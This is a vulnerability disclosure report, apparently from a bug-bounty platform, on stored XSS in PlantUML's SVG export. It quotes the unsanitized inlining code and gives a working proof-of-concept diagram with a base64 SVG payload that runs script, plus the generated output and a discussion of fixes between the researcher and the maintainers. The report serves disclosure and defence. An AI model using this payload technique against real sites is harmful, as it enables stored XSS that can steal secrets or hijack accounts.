XSS via Embedded SVG in SVG Diagram Format in plantuml/plantuml

Valid

Reported on

Apr 3rd 2022


Description

It is possible to embed SVG images in diagrams. When those are exported or used in a diagram in SVG format, the content of the embedded SVG image is included inline. This means the SVG markup gets inserted directly into the markup of the enclosing SVG.

Since the SVG content is not sanitized it opens a XSS vulnerability. SVG allows among other things, the inclusion of HTML markup via foreignObject elements. So this also allows adding script tags and executing JavaScript in the context of a website that embeds the diagram in SVG format.

With this technique the security measures like filtering out javascript:-links of the diagram can be bypassed and even more dangerous payloads that execute automatically in the background can be delivered.

Handling of embedded SVG (constructing SVG string and setting a placeholder for serialization): https://github.com/plantuml/plantuml/blob/v1.2022.3/src/net/sourceforge/plantuml/svg/SvgGraphics.java#L899-L911

public void svgImage(UImageSvg image, double x, double y) {
    if (hidden == false) {
        String svg = manageScale(image);
        final String pos = "<svg x=\"" + format(x) + "\" y=\"" + format(y) + "\">";
        svg = pos + svg.substring(5);
        final String key = "imagesvginlined" + image.getMD5Hex() + images.size();
        final Element elt = (Element) document.createElement(key);
        getG().appendChild(elt);
        images.put(key, svg);
    }
    ensureVisible(x, y);
    ensureVisible(x + image.getData("width"), y + image.getData("height"));
}

Serialization (replacing placeholder with markup of embedded SVG): https://github.com/plantuml/plantuml/blob/v1.2022.3/src/net/sourceforge/plantuml/svg/SvgGraphics.java#L644-L658

public void createXml(OutputStream os) throws TransformerException, IOException {
    if (images.size() == 0) {
        createXmlInternal(os);
        return;
    }
    final ByteArrayOutputStream baos = new ByteArrayOutputStream();
    createXmlInternal(baos);
    String s = new String(baos.toByteArray());
    for (Map.Entry<String, String> ent : images.entrySet()) {
        final String k = "<" + ent.getKey() + "/>";
        s = s.replace(k, ent.getValue());
    }
    s = removeXmlHeader(s);
    os.write(s.getBytes());
}

Proof of Concept

As an example the PlantUML diagram below will automatically execute alert(document.domain) when loaded:

PlantUML code:

@startuml
start
: aasdf <img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgICA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIj4KICAgICAgICA8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+CiAgICA8L2ZvcmVpZ25PYmplY3Q+Cjwvc3ZnPg=="> ;
stop
@enduml

Link for a PlantUML server (adjust host/port): http://127.0.0.1:8080/plantuml/svg/LOtHRe8m64RlVGhYhIPhG3VHiGHmIb5CnGMaTp-WNP5gOqaHdtwQB4jsyLsTdFEf1gvDRse0gF9el7F137Kjd7u93Kov07PuKPeDRgAUvQ0EhwCX2JOcxJmBqXZ17F7eosqnzouqhSyGR6rSVRQHZmS-TndstGaLTlTa-Sdc89AgzF-xuGupM2QIcj-8xF0jchirhaQhXyj-DodCJGTx3n6nK7GVejKorfcLD3GTexM8TPukPCvFRyItxvaLoYBO_lslJQeByUoFIIPadLaFLhMwiEYPCCVfVnYpdcekyWS0

The diagram above embeds the following base64 encoded SVG image:

<svg width="100" height="100">
    <foreignObject width="100%" height="100%">
        <script>alert(document.domain);</script>
    </foreignObject>
</svg>

The resulting SVG of the diagram generated by PlantUML consists of:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" contentStyleType="text/css" height="223px" preserveAspectRatio="none" style="width:189px;height:223px;background:#FFFFFF;" version="1.1" viewBox="0 0 189 223" width="189px" zoomAndPan="magnify"><defs/><g><ellipse cx="94.5" cy="20" fill="#222222" rx="10" ry="10" style="stroke:#222222;stroke-width:1.0;"/><rect fill="#F1F1F1" height="120" rx="12.5" ry="12.5" style="stroke:#181818;stroke-width:0.5;" width="167" x="11" y="50"/><text fill="#000000" font-family="sans-serif" font-size="12" lengthAdjust="spacing" textLength="35" x="25" y="157.1699">aasdf</text><svg x="64" y="60">
    <foreignObject width="100%" height="100%">
        <script>alert(document.domain);</script>
    </foreignObject>
</svg><text fill="#000000" font-family="sans-serif" font-size="12" lengthAdjust="spacing" textLength="4" x="164" y="157.1699"> </text><ellipse cx="94.5" cy="201" rx="11" ry="11" style="stroke:#222222;stroke-width:1.0;fill:none;"/><ellipse cx="94.5" cy="201" fill="#222222" rx="6" ry="6" style="stroke:#111111;stroke-width:1.0;"/><line style="stroke:#181818;stroke-width:1.0;" x1="94.5" x2="94.5" y1="30" y2="50"/><polygon fill="#181818" points="90.5,40,94.5,50,98.5,40,94.5,44" style="stroke:#181818;stroke-width:1.0;"/><line style="stroke:#181818;stroke-width:1.0;" x1="94.5" x2="94.5" y1="170" y2="190"/><polygon fill="#181818" points="90.5,180,94.5,190,98.5,180,94.5,184" style="stroke:#181818;stroke-width:1.0;"/>

The embedded SVG with the payload can be easily spotted.

Impact

Stored XSS in the context of the diagram embedder. Depending on the actual context, this ranges from stealing secrets to account hijacking or even to code execution for example in desktop applications. Web based applications are the ones most affected. Since the SVG format allows clickable links in diagrams, it is commonly used in plugins for web based projects (like the Confluence plugin, etc. see https://plantuml.com/de/running).

We are processing your report and will contact the plantuml team within 24 hours. 2 months ago
We have contacted a member of the plantuml team and are waiting to hear back 2 months ago
plantuml/plantuml maintainer has acknowledged this report 2 months ago
plantuml/plantuml maintainer validated this vulnerability 2 months ago
Tobias S. Fink has been awarded the disclosure bounty
The fix bounty is now up for grabs
Tobias S. Fink
2 months ago

Researcher


Thanks for the fast response. Sure I will help with feedback.

Do you already have a specific countermeasure in mind? I think there are two possible strategies:

  • Use SVG image elements to include embedded SVGs. This would have the small downside of disable interactive elements.
  • Sanitize the embedded SVG. Unfortunately I don't know a good sanitizer library for SVG in Java. DOMPurify would do a good job, however it is written in JavaScript.
We have sent a fix follow up to the plantuml team. We will try again in 7 days. 2 months ago
We have sent a second fix follow up to the plantuml team. We will try again in 10 days. a month ago
plantuml/plantuml maintainer confirmed that a fix has been merged on c9137b a month ago
The fix bounty has been dropped
Tobias S. Fink
a month ago

Researcher


Hi Arnaud (@maintainer), I think that the fix is insufficient, but unfortunately this report seems to be public already? How should we discuss this now? I really think the only way to be sure is instead of embedding the inline svg directly as svg element is to use an svg image and set the data URI as href of this element. This will disable any JavaScript or loading of external resources inside the embedded inline svg and make it safe.

PlantUML
a month ago

I think that <image> tag only works for raster image, not for SVG. We've made some tests with <image>using data URI, but it does not seem to work. (see http://beta.plantuml.net/test_uri.svg )

Could you contact us by email ( plantuml@gmail.com ) ? Thanks!

to join this conversation